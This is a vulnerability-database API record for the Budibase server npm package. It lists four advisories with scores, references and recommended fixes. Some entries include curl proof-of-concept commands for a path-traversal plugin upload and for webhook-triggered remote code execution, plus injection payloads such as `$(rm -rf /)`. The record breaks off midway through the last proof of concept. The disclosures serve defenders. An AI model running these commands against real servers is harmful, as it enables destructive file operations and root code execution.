Package Instance
Lookup for vulnerable packages by Package URL.
GET /api/packages/979213?format=api
{ "url": "http://public2.vulnerablecode.io/api/packages/979213?format=api", "purl": "pkg:npm/%40budibase/server@3.18.10", "type": "npm", "namespace": "@budibase", "name": "server", "version": "3.18.10", "qualifiers": {}, "subpath": "", "is_vulnerable": true, "next_non_vulnerable_version": "3.33.4", "latest_non_vulnerable_version": "3.38.1", "affected_by_vulnerabilities": [ { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/50761?format=api", "vulnerability_id": "VCID-55z8-61vb-3bgu", "summary": "@budibase/server: Command Injection in PostgreSQL Dump Command\n**Location**: `packages/server/src/integrations/postgres.ts:529-531`", "references": [ { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-25041", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00082", "scoring_system": "epss", "scoring_elements": "0.24088", "published_at": "2026-06-08T12:55:00Z" }, { "value": "0.00082", "scoring_system": "epss", "scoring_elements": "0.24147", "published_at": "2026-06-07T12:55:00Z" }, { "value": "0.00082", "scoring_system": "epss", "scoring_elements": "0.24202", "published_at": "2026-06-06T12:55:00Z" }, { "value": "0.00082", "scoring_system": "epss", "scoring_elements": "0.2422", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-25041" }, { "reference_url": "https://github.com/Budibase/budibase", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.6", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/Budibase/budibase" }, { "reference_url": "https://github.com/Budibase/budibase/blob/f34d545602a7c94427bae63312a5ee9bf2aa6c85/packages/server/src/integrations/postgres.ts#L529-L531", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.6", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:N/T:T/P:M/B:A/M:M/D:T/2026-03-09T20:31:29Z/" } ], "url": "https://github.com/Budibase/budibase/blob/f34d545602a7c94427bae63312a5ee9bf2aa6c85/packages/server/src/integrations/postgres.ts#L529-L531" }, { "reference_url": "https://github.com/Budibase/budibase/commit/9fdbff32fb9e69650ba899a799e13f80d9b09e93", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.6", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:N/T:T/P:M/B:A/M:M/D:T/2026-03-09T20:31:29Z/" } ], "url": "https://github.com/Budibase/budibase/commit/9fdbff32fb9e69650ba899a799e13f80d9b09e93" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25041", "reference_id": "CVE-2026-25041", "reference_type": "", "scores": [ { "value": "8.6", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25041" }, { "reference_url": "https://github.com/advisories/GHSA-726g-59wr-cj4c", "reference_id": "GHSA-726g-59wr-cj4c", "reference_type": "", "scores": [ { "value": "HIGH", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-726g-59wr-cj4c" }, { "reference_url": "https://github.com/Budibase/budibase/security/advisories/GHSA-726g-59wr-cj4c", "reference_id": "GHSA-726g-59wr-cj4c", "reference_type": "", "scores": [ { "value": "HIGH", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" }, { "value": "8.6", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:N/T:T/P:M/B:A/M:M/D:T/2026-03-09T20:31:29Z/" } ], "url": "https://github.com/Budibase/budibase/security/advisories/GHSA-726g-59wr-cj4c" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/74555?format=api", "purl": "pkg:npm/%40budibase/server@3.23.32", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-8w6x-sana-skfd" }, { "vulnerability": "VCID-hu2a-usnx-23au" }, { "vulnerability": "VCID-hx4u-s7t2-quga" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/%2540budibase/server@3.23.32" } ], "aliases": [ "CVE-2026-25041", "GHSA-726g-59wr-cj4c" ], "risk_score": 4.0, "exploitability": "0.5", "weighted_severity": "8.0", "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-55z8-61vb-3bgu" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/90279?format=api", "vulnerability_id": "VCID-8w6x-sana-skfd", "summary": "Budibase: Path traversal in plugin file upload enables arbitrary directory deletion and file write\n## Summary\n\nThe plugin file upload endpoint (`POST /api/plugin/upload`) passes the user-supplied filename directly to `createTempFolder()` without sanitizing path traversal sequences. An attacker with Global Builder privileges can craft a multipart upload with a filename containing `../` to delete arbitrary directories via `rmSync` and write arbitrary files via tarball extraction to any filesystem path the Node.js process can access.\n\n## Severity\n\n- **Attack Vector:** Network — exploitable via the plugin upload HTTP API\n- **Attack Complexity:** Low — no special conditions; a single crafted multipart request suffices\n- **Privileges Required:** High — requires Global Builder role (`GLOBAL_BUILDER` permission)\n- **User Interaction:** None\n- **Scope:** Changed — the plugin upload feature is scoped to a temp directory, but the traversal escapes to the host filesystem\n- **Confidentiality Impact:** None — the vulnerability enables deletion and writing, not reading\n- **Integrity Impact:** High — attacker can delete arbitrary directories and write arbitrary files via tarball extraction\n- **Availability Impact:** High — recursive deletion of application or system directories causes denial of service\n\n### Severity Rationale\n\n Despite the real filesystem impact, severity is bounded by the requirement for Global Builder privileges (PR:H), which is the highest non-admin role in Budibase. In self-hosted deployments the Global Builder may already have server access, further reducing practical impact. In cloud/multi-tenant deployments the impact is more significant as it could affect the host infrastructure.\n\n## Affected Component\n\n- `packages/server/src/api/controllers/plugin/file.ts` — `fileUpload()` (line 15)\n- `packages/server/src/utilities/fileSystem/filesystem.ts` — `createTempFolder()` (lines 78-91)\n\n## Description\n\n### Unsanitized filename flows into filesystem operations\n\nIn `packages/server/src/api/controllers/plugin/file.ts`, the uploaded file's name is used directly after stripping the `.tar.gz` suffix:\n\n```typescript\n// packages/server/src/api/controllers/plugin/file.ts:8-19\nexport async function fileUpload(file: KoaFile) {\n if (!file.name || !file.path) {\n throw new Error(\"File is not valid - cannot upload.\")\n }\n if (!file.name.endsWith(\".tar.gz\")) {\n throw new Error(\"Plugin must be compressed into a gzipped tarball.\")\n }\n const path = createTempFolder(file.name.split(\".tar.gz\")[0])\n await extractTarball(file.path, path)\n\n return await getPluginMetadata(path)\n}\n```\n\nThe `file.name` originates from the `Content-Disposition` header's `filename` field in the multipart upload, parsed by formidable (via koa-body 4.2.0). Formidable does not sanitize path traversal sequences from filenames.\n\nThe `createTempFolder` function in `packages/server/src/utilities/fileSystem/filesystem.ts` uses `path.join()` which resolves `../` sequences, then performs destructive filesystem operations:\n\n```typescript\n// packages/server/src/utilities/fileSystem/filesystem.ts:78-91\nexport const createTempFolder = (item: string) => {\n const path = join(budibaseTempDir(), item)\n try {\n // remove old tmp directories automatically - don't combine\n if (fs.existsSync(path)) {\n fs.rmSync(path, { recursive: true, force: true })\n }\n fs.mkdirSync(path)\n } catch (err: any) {\n throw new Error(`Path cannot be created: ${err.message}`)\n }\n\n return path\n}\n```\n\nThe `budibaseTempDir()` returns `/tmp/.budibase` (from `packages/backend-core/src/objectStore/utils.ts:33`). With a filename like `../../etc/target.tar.gz`, `path.join(\"/tmp/.budibase\", \"../../etc/target\")` resolves to `/etc/target`.\n\n### Inconsistent defenses confirm the gap\n\nThe codebase is aware of the risk in similar paths:\n\n1. **Safe path in `utils.ts`**: The `downloadUnzipTarball` function (for NPM/GitHub/URL plugin sources) generates a random name server-side:\n ```typescript\n // packages/server/src/api/controllers/plugin/index.ts:68\n const name = \"PLUGIN_\" + Math.floor(100000 + Math.random() * 900000)\n ```\n This is safe because `name` never contains user input.\n\n2. **Safe path in `objectStore.ts`**: Other uses of `budibaseTempDir()` use UUID-generated names:\n ```typescript\n // packages/backend-core/src/objectStore/objectStore.ts:546\n const outputPath = join(budibaseTempDir(), v4())\n ```\n\n3. **Sanitization exists but is not applied**: The codebase has `sanitizeKey()` in `objectStore.ts` for sanitizing object store paths, but no equivalent is applied to `createTempFolder`'s input.\n\nThe file upload path is the only caller of `createTempFolder` that passes unsanitized user input.\n\n### Execution chain\n\n1. Authenticated Global Builder sends `POST /api/plugin/upload` with a multipart file whose `Content-Disposition` filename contains path traversal (e.g., `../../etc/target.tar.gz`)\n2. koa-body/formidable parses the upload, setting `file.name` to the raw filename from the header\n3. `controller.upload` → `sdk.plugins.processUploaded()` → `fileUpload(file)`\n4. `.endsWith(\".tar.gz\")` check passes (the suffix is present)\n5. `.split(\".tar.gz\")[0]` extracts `../../etc/target`\n6. `createTempFolder(\"../../etc/target\")` is called\n7. `path.join(\"/tmp/.budibase\", \"../../etc/target\")` resolves to `/etc/target`\n8. `fs.rmSync(\"/etc/target\", { recursive: true, force: true })` — **deletes the target directory recursively**\n9. `fs.mkdirSync(\"/etc/target\")` — **creates a directory at the traversed path**\n10. `extractTarball(file.path, \"/etc/target\")` — **extracts attacker-controlled tarball contents to the traversed path**\n\n## Proof of Concept\n\n```bash\n# Create a minimal tarball with a test file\nmkdir -p /tmp/plugin-poc && echo \"pwned\" > /tmp/plugin-poc/test.txt\ntar czf /tmp/poc-plugin.tar.gz -C /tmp/plugin-poc .\n\n# Upload with a traversal filename targeting /tmp/pwned (non-destructive demo)\ncurl -X POST 'http://localhost:10000/api/plugin/upload' \\\n -H 'Cookie: <global_builder_session_cookie>' \\\n -F \"file=@/tmp/poc-plugin.tar.gz;filename=../../tmp/pwned.tar.gz\"\n\n# Result: server executes:\n# rm -rf /tmp/pwned (if exists)\n# mkdir /tmp/pwned\n# tar xzf <upload> -C /tmp/pwned\n# Verify: ls /tmp/pwned/test.txt\n```\n\n## Impact\n\n- **Arbitrary directory deletion**: `rmSync` with `{ recursive: true, force: true }` deletes any directory the Node.js process can access, including application data directories\n- **Arbitrary file write**: Tarball extraction writes attacker-controlled files to any writable path, potentially overwriting application code, configuration, or system files\n- **Denial of service**: Deleting critical directories (e.g., the application's data directory, node_modules, or system directories) crashes the application\n- **Potential code execution**: In containerized deployments (common for Budibase) where Node.js runs as root, an attacker could overwrite startup scripts or application code to achieve remote code execution on subsequent restarts\n\n## Recommended Remediation\n\n### Option 1: Sanitize at `createTempFolder` (preferred — protects all callers)\n\n```typescript\nimport { join, resolve } from \"path\"\n\nexport const createTempFolder = (item: string) => {\n const tempDir = budibaseTempDir()\n const resolved = resolve(tempDir, item)\n\n // Ensure the resolved path is within the temp directory\n if (!resolved.startsWith(tempDir + \"/\") && resolved !== tempDir) {\n throw new Error(\"Invalid path: directory traversal detected\")\n }\n\n try {\n if (fs.existsSync(resolved)) {\n fs.rmSync(resolved, { recursive: true, force: true })\n }\n fs.mkdirSync(resolved)\n } catch (err: any) {\n throw new Error(`Path cannot be created: ${err.message}`)\n }\n\n return resolved\n}\n```\n\n### Option 2: Sanitize at the upload handler (defense-in-depth)\n\nStrip path components from the filename before use:\n\n```typescript\nimport path from \"path\"\n\nexport async function fileUpload(file: KoaFile) {\n if (!file.name || !file.path) {\n throw new Error(\"File is not valid - cannot upload.\")\n }\n if (!file.name.endsWith(\".tar.gz\")) {\n throw new Error(\"Plugin must be compressed into a gzipped tarball.\")\n }\n // Strip directory components from the filename\n const safeName = path.basename(file.name).split(\".tar.gz\")[0]\n const dir = createTempFolder(safeName)\n await extractTarball(file.path, dir)\n\n return await getPluginMetadata(dir)\n}\n```\n\nBoth options should ideally be applied together for defense-in-depth.\n\n## Credit\n\nThis vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).", "references": [ { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-35214", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00061", "scoring_system": "epss", "scoring_elements": "0.19111", "published_at": "2026-06-08T12:55:00Z" }, { "value": "0.00061", "scoring_system": "epss", "scoring_elements": "0.19183", "published_at": "2026-06-07T12:55:00Z" }, { "value": "0.00061", "scoring_system": "epss", "scoring_elements": "0.19227", "published_at": "2026-06-06T12:55:00Z" }, { "value": "0.00061", "scoring_system": "epss", "scoring_elements": "0.1923", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-35214" }, { "reference_url": "https://github.com/Budibase/budibase", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.7", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:H/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/Budibase/budibase" }, { "reference_url": "https://github.com/Budibase/budibase/commit/6344d06d703660fd05995e61d581593c2349c879", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.7", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:H/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-03T16:04:18Z/" } ], "url": "https://github.com/Budibase/budibase/commit/6344d06d703660fd05995e61d581593c2349c879" }, { "reference_url": "https://github.com/Budibase/budibase/pull/18240", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.7", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:H/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-03T16:04:18Z/" } ], "url": "https://github.com/Budibase/budibase/pull/18240" }, { "reference_url": "https://github.com/Budibase/budibase/releases/tag/3.33.4", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.7", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:H/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-03T16:04:18Z/" } ], "url": "https://github.com/Budibase/budibase/releases/tag/3.33.4" }, { "reference_url": "https://github.com/Budibase/budibase/security/advisories/GHSA-2wfh-rcwf-wh23", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.7", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:H/A:H" }, { "value": "HIGH", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-03T16:04:18Z/" } ], "url": "https://github.com/Budibase/budibase/security/advisories/GHSA-2wfh-rcwf-wh23" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35214", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.7", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:H/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35214" }, { "reference_url": "https://github.com/advisories/GHSA-2wfh-rcwf-wh23", "reference_id": "GHSA-2wfh-rcwf-wh23", "reference_type": "", "scores": [ { "value": "HIGH", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-2wfh-rcwf-wh23" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/109914?format=api", "purl": "pkg:npm/%40budibase/server@3.33.4", "is_vulnerable": false, "affected_by_vulnerabilities": [], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/%2540budibase/server@3.33.4" } ], "aliases": [ "CVE-2026-35214", "GHSA-2wfh-rcwf-wh23" ], "risk_score": 4.0, "exploitability": "0.5", "weighted_severity": "8.0", "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-8w6x-sana-skfd" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/89992?format=api", "vulnerability_id": "VCID-hu2a-usnx-23au", "summary": "Budibase: Command Injection in Bash Automation Step\n**Location**: `packages/server/src/automations/steps/bash.ts` \n\n#### Description\nThe bash automation step executes user-provided commands using `execSync` without proper sanitization or validation. User input is processed through `processStringSync` which allows template interpolation, potentially allowing arbitrary command execution.\n\n#### Code Reference\n```21:28:packages/server/src/automations/steps/bash.ts\n const command = processStringSync(inputs.code, context)\n\n let stdout,\n success = true\n try {\n stdout = execSync(command, {\n timeout: environment.QUERY_THREAD_TIMEOUT,\n }).toString()\n```\n\n#### Attack Vector\nAn attacker with access to create or modify automations can inject malicious shell commands by including template syntax that evaluates to command injection payloads (e.g., `$(rm -rf /)`, `; malicious-command`, `| malicious-command`).\n\n#### Impact\n- Remote code execution (RCE)\n- Complete system compromise\n- Data exfiltration\n- Lateral movement within the infrastructure\n\n#### Recommendation\n1. **Immediate**: Disable bash automation step in production until fixed\n2. Implement a whitelist of allowed commands\n3. Use parameterized command execution with proper escaping\n4. Implement command argument validation\n5. Consider using a restricted shell or command sandboxing\n6. Add rate limiting and monitoring for command execution\n\n#### Example Fix\n```typescript\nimport { spawn } from \"child_process\"\n\n// Validate against whitelist\nconst ALLOWED_COMMANDS = [\"echo\", \"date\", \"pwd\"] // Extend as needed\n\nfunction sanitizeCommand(input: string): string {\n // Remove dangerous characters and command chaining\n return input.replace(/[;&|`$(){}[\\]]/g, \"\").trim()\n}\n\nfunction validateCommand(cmd: string): boolean {\n const parts = cmd.split(/\\s+/)\n return ALLOWED_COMMANDS.includes(parts[0])\n}\n\nexport async function run({ inputs, context }) {\n if (!inputs.code) {\n return { stdout: \"Budibase bash automation failed: Invalid inputs\" }\n }\n\n const processedCommand = processStringSync(inputs.code, context)\n const sanitized = sanitizeCommand(processedCommand)\n \n if (!validateCommand(sanitized)) {\n return {\n success: false,\n stdout: \"Command not allowed\"\n }\n }\n\n // Use spawn instead of execSync with proper argument handling\n return new Promise((resolve) => {\n const [command, ...args] = sanitized.split(/\\s+/)\n const proc = spawn(command, args, {\n timeout: environment.QUERY_THREAD_TIMEOUT,\n })\n \n let stdout = \"\"\n proc.stdout.on(\"data\", (data) => { stdout += data })\n proc.on(\"close\", (code) => {\n resolve({ stdout, success: code === 0 })\n })\n })\n}\n```", "references": [ { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-25044", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00085", "scoring_system": "epss", "scoring_elements": "0.24701", "published_at": "2026-06-06T12:55:00Z" }, { "value": "0.00085", "scoring_system": "epss", "scoring_elements": "0.24587", "published_at": "2026-06-08T12:55:00Z" }, { "value": "0.00085", "scoring_system": "epss", "scoring_elements": "0.24645", "published_at": "2026-06-07T12:55:00Z" }, { "value": "0.00085", "scoring_system": "epss", "scoring_elements": "0.24711", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-25044" }, { "reference_url": "https://github.com/Budibase/budibase", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.8", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H" }, { "value": "8.7", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/Budibase/budibase" }, { "reference_url": "https://github.com/Budibase/budibase/releases/tag/3.33.2", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.8", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H" }, { "value": "8.7", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:Y/T:T/P:M/B:A/M:M/D:T/2026-04-03T16:45:21Z/" } ], "url": "https://github.com/Budibase/budibase/releases/tag/3.33.2" }, { "reference_url": "https://github.com/Budibase/budibase/security/advisories/GHSA-gjw9-34gf-rp6m", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.8", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H" }, { "value": "HIGH", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" }, { "value": "8.7", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:Y/T:T/P:M/B:A/M:M/D:T/2026-04-03T16:45:21Z/" } ], "url": "https://github.com/Budibase/budibase/security/advisories/GHSA-gjw9-34gf-rp6m" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25044", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.8", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H" }, { "value": "8.7", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25044" }, { "reference_url": "https://github.com/advisories/GHSA-gjw9-34gf-rp6m", "reference_id": "GHSA-gjw9-34gf-rp6m", "reference_type": "", "scores": [ { "value": "HIGH", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-gjw9-34gf-rp6m" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/109914?format=api", "purl": "pkg:npm/%40budibase/server@3.33.4", "is_vulnerable": false, "affected_by_vulnerabilities": [], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/%2540budibase/server@3.33.4" } ], "aliases": [ "CVE-2026-25044", "GHSA-gjw9-34gf-rp6m" ], "risk_score": 4.0, "exploitability": "0.5", "weighted_severity": "8.0", "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-hu2a-usnx-23au" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/89021?format=api", "vulnerability_id": "VCID-hx4u-s7t2-quga", "summary": "Budibase: Unauthenticated Remote Code Execution via Webhook Trigger and Bash Automation Step\n### Summary\nAn unauthenticated attacker can achieve Remote Code Execution (RCE) on the Budibase server by triggering an automation that contains a Bash step via the public webhook endpoint. No authentication is required to trigger the exploit. The process executes as `root` inside the container.\n\n### Details\n\n**Vulnerable endpoint — `packages/server/src/api/routes/webhook.ts` line 13:**\n\n```typescript\n// this shouldn't have authorisation, right now its always public\npublicRoutes.post(\"/api/webhooks/trigger/:instance/:id\", controller.trigger)\n```\n\nThe webhook trigger endpoint is registered on `publicRoutes` with **no authentication\nmiddleware**. Any unauthenticated HTTP client can POST to this endpoint.\n\n**Vulnerable sink — `packages/server/src/automations/steps/bash.ts` lines 21–26:**\n\n```typescript\nconst command = processStringSync(inputs.code, context)\nstdout = execSync(command, { timeout: environment.QUERY_THREAD_TIMEOUT }).toString()\n```\n\nThe Bash automation step uses Handlebars template processing (`processStringSync`) on\n`inputs.code`, substituting values from the webhook request body into the shell command\nstring before passing it to `execSync()`.\n\n**Attack chain:**\n\n```\nHTTP POST /api/webhooks/trigger/{appId}/{webhookId} ← NO AUTH\n ↓\ncontroller.trigger() [webhook.ts:90]\n ↓\ntriggers.externalTrigger()\n ↓ webhook fields flattened into automation context\nautomation.steps[EXECUTE_BASH].run() [actions.ts:131]\n ↓\nprocessStringSync(\"{{ trigger.cmd }}\", { cmd: \"ATTACKER_PAYLOAD\" })\n ↓\nexecSync(\"ATTACKER_PAYLOAD\") ← RCE AS ROOT\n```\n\n**Precondition:** An admin must have created and published an automation containing:\n1. A Webhook trigger\n2. A Bash step whose `code` field uses a trigger field template (e.g., `{{ trigger.cmd }}`)\n\nThis is a legitimate and documented workflow. Such configurations may exist in\nproduction deployments for automation of server-side tasks.\n\n**Note on EXECUTE_BASH availability:** The bash step is only registered when\n`SELF_HOSTED=1` (`actions.ts` line 129), which applies to all self-hosted deployments:\n\n```typescript\n// packages/server/src/automations/actions.ts line 126-132\n// don't add the bash script/definitions unless in self host\nif (env.SELF_HOSTED) {\n ACTION_IMPLS[\"EXECUTE_BASH\"] = bash.run\n BUILTIN_ACTION_DEFINITIONS[\"EXECUTE_BASH\"] = automations.steps.bash.definition\n}\n```\n\n**Webhook context flattening** (why `{{ trigger.cmd }}` works):\n\nIn `packages/server/src/automations/triggers.ts` lines 229–239, for webhook automations\nthe `params.fields` are spread directly into the trigger context:\n\n```typescript\n// row actions and webhooks flatten the fields down\nelse if (sdk.automations.isWebhookAction(automation)) {\n params = {\n ...params,\n ...params.fields, // { cmd: \"PAYLOAD\" } becomes top-level\n fields: {},\n }\n}\n```\n\nThis means a webhook body `{\"cmd\": \"id\"}` becomes accessible as `{{ trigger.cmd }}`\nin the bash step template.\n\n### PoC\n\n#### Environment\n\n```\nTarget: http://TARGET:10000 (any self-hosted Budibase instance)\nTester: Any machine with curl\nAuth: Admin credentials required for SETUP PHASE only\n Zero auth required for EXPLOITATION PHASE\n```\n\n---\n\n#### PHASE 1 — Admin Setup (performed once by legitimate admin)\n\n> **Note:** This phase represents normal Budibase usage. Any admin who creates\n> a webhook automation with a bash step using template variables creates this exposure.\n\n**Step 1 — Authenticate as admin:**\n\n```bash\ncurl -c cookies.txt -X POST http://TARGET:10000/api/global/auth/default/login \\\n -H \"Content-Type: application/json\" \\\n -d '{\n \"username\": \"admin@company.com\",\n \"password\": \"adminpassword\"\n }'\n\n# Expected response:\n# {\"message\":\"Login successful\"}\n```\n\n**Step 2 — Create an application:**\n\n```bash\ncurl -b cookies.txt -X POST http://TARGET:10000/api/applications \\\n -H \"Content-Type: application/json\" \\\n -d '{\n \"name\": \"MyApp\",\n \"useTemplate\": false,\n \"url\": \"/myapp\"\n }'\n\n# Note the appId from the response, e.g.:\n# \"appId\": \"app_dev_c999265f6f984e3aa986788723984cd5\"\n\nAPP_ID=\"app_dev_c999265f6f984e3aa986788723984cd5\"\n```\n\n**Step 3 — Create automation with Webhook trigger + Bash step:**\n\n```bash\ncurl -b cookies.txt -X POST http://TARGET:10000/api/automations/ \\\n -H \"Content-Type: application/json\" \\\n -H \"x-budibase-app-id: $APP_ID\" \\\n -d '{\n \"name\": \"WebhookBash\",\n \"type\": \"automation\",\n \"definition\": {\n \"trigger\": {\n \"id\": \"trigger_1\",\n \"name\": \"Webhook\",\n \"event\": \"app:webhook:trigger\",\n \"stepId\": \"WEBHOOK\",\n \"type\": \"TRIGGER\",\n \"icon\": \"paper-plane-right\",\n \"description\": \"Trigger an automation when a HTTP POST webhook is hit\",\n \"tagline\": \"Webhook endpoint is hit\",\n \"inputs\": {},\n \"schema\": {\n \"inputs\": { \"properties\": {} },\n \"outputs\": {\n \"properties\": { \"body\": { \"type\": \"object\" } }\n }\n }\n },\n \"steps\": [\n {\n \"id\": \"bash_step_1\",\n \"name\": \"Bash Scripting\",\n \"stepId\": \"EXECUTE_BASH\",\n \"type\": \"ACTION\",\n \"icon\": \"git-branch\",\n \"description\": \"Run a bash script\",\n \"tagline\": \"Execute a bash command\",\n \"inputs\": {\n \"code\": \"{{ trigger.cmd }}\"\n },\n \"schema\": {\n \"inputs\": {\n \"properties\": { \"code\": { \"type\": \"string\" } }\n },\n \"outputs\": {\n \"properties\": {\n \"stdout\": { \"type\": \"string\" },\n \"success\": { \"type\": \"boolean\" }\n }\n }\n }\n }\n ]\n }\n }'\n\n# Note the automation _id from response, e.g.:\n# 